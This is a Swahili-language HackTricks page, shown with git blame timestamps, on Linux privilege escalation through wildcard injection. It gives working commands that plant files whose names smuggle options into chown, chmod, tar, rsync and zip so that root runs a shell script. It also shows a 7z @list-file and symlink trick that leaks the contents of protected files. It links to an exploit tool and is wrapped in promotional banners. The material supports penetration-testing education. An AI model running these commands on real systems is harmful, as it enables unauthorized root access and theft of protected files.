hacktricks/linux-hardening/privilege-escalation/wildcards-spare-tricks.md

86 lines
4.8 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 12:41:36 +00:00
## chown, chmod
2020-08-21 11:22:11 +00:00
2024-02-11 02:13:58 +00:00
Unaweza **kuonyesha mmiliki wa faili na ruhusa unayotaka kunakili kwa faili zingine zote**
2020-08-21 11:22:11 +00:00
```bash
touch "--reference=/my/own/path/filename"
```
2024-02-11 02:13:58 +00:00
Unaweza kutumia hii kwa kutumia [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(shambulio lililounganishwa)_\
Maelezo zaidi katika [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
2020-08-21 11:22:11 +00:00
2022-05-01 12:41:36 +00:00
## Tar
2020-08-21 11:22:11 +00:00
2024-02-11 02:13:58 +00:00
**Tekeleza amri za kiholela:**
2020-08-21 11:22:11 +00:00
```bash
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
2024-02-11 02:13:58 +00:00
Unaweza kutumia hii kwa kufaidika na [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(shambulio la tar)_\
Maelezo zaidi katika [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
2020-08-21 11:22:11 +00:00
2022-05-01 12:41:36 +00:00
## Rsync
2020-08-21 11:22:11 +00:00
2024-02-11 02:13:58 +00:00
**Tekeleza amri za kiholela:**
2020-08-21 11:22:11 +00:00
```bash
Interesting rsync option from manual:
2024-02-11 02:13:58 +00:00
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
2020-08-21 11:22:11 +00:00
```
```bash
touch "-e sh shell.sh"
```
2024-02-11 02:13:58 +00:00
Unaweza kutumia hii kwa kutumia [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_shambulio la rsync)_\
Maelezo zaidi katika [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
2020-08-21 11:22:11 +00:00
2022-05-01 12:41:36 +00:00
## 7z
2024-02-11 02:13:58 +00:00
Katika **7z** hata kwa kutumia `--` kabla ya `*` (kumbuka kuwa `--` inamaanisha kuwa kuingia inayofuata haiwezi kutibiwa kama vigezo, kwa hivyo ni njia za faili tu katika kesi hii) unaweza kusababisha kosa la kusoma faili, kwa hivyo ikiwa amri kama ifuatayo inatekelezwa na root:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
2024-02-11 02:13:58 +00:00
Na unaweza kuunda faili katika saraka ambapo hii inatekelezwa, unaweza kuunda faili `@root.txt` na faili `root.txt` ikiwa ni **symlink** kwa faili unayotaka kusoma:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
2024-02-11 02:13:58 +00:00
Kisha, wakati **7z** inatekelezwa, itaichukulia `root.txt` kama faili inayojumuisha orodha ya faili ambazo inapaswa kuzipiga (ndio maana ya uwepo wa `@root.txt`) na wakati 7z inasoma `root.txt` itasoma `/file/you/want/to/read` na **kwa kuwa maudhui ya faili hii sio orodha ya faili, itatoa kosa** kuonyesha maudhui.
2024-02-11 02:13:58 +00:00
_Maelezo zaidi katika Write-ups ya sanduku la CTF kutoka HackTheBox._
2022-07-20 08:34:02 +00:00
## Zip
2024-02-11 02:13:58 +00:00
**Tekeleza amri za aina yoyote:**
2022-07-20 08:34:02 +00:00
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>